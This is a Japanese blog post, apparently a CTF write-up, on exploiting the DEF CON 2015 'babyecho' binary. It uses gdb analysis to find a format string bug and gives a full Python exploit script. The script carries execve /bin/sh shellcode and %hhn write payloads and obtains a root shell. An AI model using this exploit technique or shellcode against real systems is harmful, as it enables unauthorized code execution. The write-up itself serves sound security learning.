のいじーメモ

勉強したことを忘れないうちにメモしていくためのブログ

DEF CON CTF Qualifier 2015 babyecho Writeup

strippedなバイナリを解析するのは初めてだったので大変だった。 解いたあと、他の人のwriteupを見てこんな感じのプログラムだったんだ...解析力すげえ...ってなってた。

まずはfileコマンドで調べてみる。

root@ubuntu:~/pwn/babyecho# file babyecho 
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

32bit,静的リンクかつstrippedなバイナリということがわかる。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

セキュリティ機構はなにもついていない。 次に実行してみる。

root@ubuntu:~/pwn/babyecho# ./babyecho 
Reading 13 bytes
aaaaa
aaaaa
Reading 13 bytes
aaaaaaaaaaaaaa
aaaaaaaaaaaa
Reading 13 bytes
a
Reading 13 bytes
AAAA %7$x 
AAAA 41414141

fsbがあり、indexが7であることがわかった。 fsbがあるけど13バイトしか読み込んでくれないのでなんとかして、読み込むバイト数を増やしたい。

[----------------------------------registers-----------------------------------]
EAX: 0xffffd17c --> 0x0 
EBX: 0x80481a8 (push   ebx)
ECX: 0xffffffff 
EDX: 0x80eb4d4 --> 0x0 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067f00 (mov    edx,DWORD PTR [esp+0x4])
EBP: 0xffffd588 --> 0x80497d0 (push   ebx)
ESP: 0xffffd160 --> 0xffffd17c --> 0x0 
EIP: 0x8048ff7 (call   0x8048e24)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048fec:	mov    DWORD PTR [esp+0x4],eax
   0x8048ff0:	lea    eax,[esp+0x1c]
   0x8048ff4:	mov    DWORD PTR [esp],eax
=> 0x8048ff7:	call   0x8048e24
   0x8048ffc:	lea    eax,[esp+0x1c]
   0x8049000:	mov    DWORD PTR [esp],eax
   0x8049003:	call   0x8048ecf
   0x8049008:	lea    eax,[esp+0x1c]
Guessed arguments:
arg[0]: 0xffffd17c --> 0x0 
arg[1]: 0xd ('\r')
arg[2]: 0xa ('\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffd160 --> 0xffffd17c --> 0x0 
0004| 0xffffd164 --> 0xd ('\r')
0008| 0xffffd168 --> 0xa ('\n')
0012| 0xffffd16c --> 0x0 
0016| 0xffffd170 --> 0xd ('\r')
0020| 0xffffd174 --> 0xffffd17c --> 0x0 
0024| 0xffffd178 --> 0x0 
0028| 0xffffd17c --> 0x0 
[------------------------------------------------------------------------------]

fgets関数っぽいところの第二引数を書き換えることを考える。

gdb-peda$ x/20wx $esp
0xffffd160:	0xffffd17c	0x0000000d	0x0000000a	0x00000000
0xffffd170:	0x0000000d	0xffffd17c	0x00000000	0x41414141
0xffffd180:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd190:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd1a0:	0x00000000	0x00000000	0x00000000	0x00000000

indexが1のアドレスが第二引数の部分なのでそこを書き換えようとしてみる。まずebpとespのオフセットを計算して ebpとespのアドレスをリークし、 esp+1のところを大きい数値に書き換えてみたが、書き込めるバイト数が増えなかった。

もう一度fgets付近を見てみる。

[----------------------------------registers-----------------------------------]
EAX: 0x11 
EBX: 0x80481a8 (push   ebx)
ECX: 0xffffffff 
EDX: 0x80eb4d4 --> 0x0 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067f00 (mov    edx,DWORD PTR [esp+0x4])
EBP: 0xffffd588 --> 0x80497d0 (push   ebx)
ESP: 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n")
EIP: 0x8048fe8 (mov    eax,DWORD PTR [esp+0x10])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048fd4:	mov    DWORD PTR [esp],0x80be5f1
   0x8048fdb:	call   0x804f560
   0x8048fe0:	mov    DWORD PTR [esp+0x8],0xa
=> 0x8048fe8:	mov    eax,DWORD PTR [esp+0x10]
   0x8048fec:	mov    DWORD PTR [esp+0x4],eax
   0x8048ff0:	lea    eax,[esp+0x1c]
   0x8048ff4:	mov    DWORD PTR [esp],eax
   0x8048ff7:	call   0x8048e24
[------------------------------------stack-------------------------------------]
0000| 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n")
0004| 0xffffd164 --> 0xd ('\r')
0008| 0xffffd168 --> 0xa ('\n')
0012| 0xffffd16c --> 0x0 
0016| 0xffffd170 --> 0xd ('\r')
0020| 0xffffd174 --> 0xffffd17c --> 0x0 
0024| 0xffffd178 --> 0x0 
0028| 0xffffd17c --> 0x0 
[------------------------------------------------------------------------------]

[esp+0x10]から[esp+0x4]にコピーしているので[esp+0x10]を書き換えなければいけないことがわかった。 あとはさっきの要領でesp+10のところを大きい数値に書き換えて入力文字数を増やしたら、あとはシェルコードぽいー

#!/usr/bin/python
# -*- coding: utf-8 -*-

import __main__, os, sys, struct, socket, telnetlib, subprocess, time

from libformatstr import FormatStr

#import hexdump

proc = ''
s = ''
 
def local(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '))
    proc.wait()

def pipelocal(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE)

# socat tcp-listen:4444,reuseaddr,fork exec:./a.out &
def sock(remoteip="127.0.0.1", remoteport=4444):
    __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    time.sleep(0.5)

def splitn(data, n):
    length = len(data)
    return [data[i:i+n] for i in range(0, length, n)]

def writefile(buf_arg,file_name):
    with open(file_name, 'wb') as f:
        f.write(buf_arg)

def recv(delim='\n', out=1):
    data = ''
    while not data.endswith(delim):
        data += s.recv(1)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def recvn(x=1024, out=1):
    data = ''
    data += s.recv(x)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def send(x, sleep=0.3, out=1):
    s.sendall(x + '\n')
    if(out == 1):
        print('\nsend: \n' + x + '\n')
    time.sleep(sleep)

def u(x):
    return struct.unpack("<I",x[:4])[0]

def u64(x):
    return struct.unpack("<I",x[:8])[0]

def p(x):
    return struct.pack("<I",x)

def p64(x):
    return struct.pack("<Q",x)

def shell():
    if(s != ''):
        #print('---- interactive mode ----')
        t= telnetlib.Telnet()
        t.sock = s
        t.interact()
    elif(p != ''):
        print('---- interactive mode ----')
        proc.wait()

def read(delim="\n", out=1):
    data = ''
    while not data.endswith(delim):
        data += proc.stdout.readlne(1)
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

def readn(num=1024, out=1):
    data = ''
    while(num>0):
        data += proc.stdout.read(1)
        num = num-1
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

#-----------START EXPLOIT CODE-----------#

offset_ebp = 0x30c
index = 7
sock()
recvn()

buf = "%%%d$08x" % (index + 0x200/4)
send(buf)
ebp_addr = int(recvn()[:8],16)
esp_addr = ebp_addr - offset_ebp

buf = "%%%d$08x" % (index - 0x18/4)
send(buf)
recvn()
buf = p(esp_addr + 0x10 ) + "%99c%7$n"
send(buf)
recvn()
buf = p(esp_addr + 0x10 ) + "%1023c%7$n"
send(buf)
recvn()

buf = p(esp_addr + 0x42c)
buf += p(esp_addr + 0x42c+1)
buf += p(esp_addr + 0x42c+2)
buf += p(esp_addr + 0x42c+3)
buf += p(esp_addr + 0x18)
buf += sc_execve32
a = map(ord, p(esp_addr + 0x1c+20))
b = 1
b = ((b-a[3]-1) % 0x100) + 1
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1

buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)
buf += "%%%dc%%%d$hhn" % (b, index+4)

send(buf)
shell()
send: 
��������������������1�Rh//shh/bin��RS���B
                                         %132c%7$hhn%230c%8$hhn%90c%9$hhn%15c%10$hhn%2c%11$hhn

  g
Reading 1023 bytes
������������Rh//shh/bin��RS���B
                                                                                                                                                                                                                                                                                                                                                                                                      
                                                                                                       �
id
uid=0(root) gid=0(root) groups=0(root)

format string attackのやり方については 下記URLを参考にした。 http://inaz2.hatenablog.com/entry/2014/04/30/173618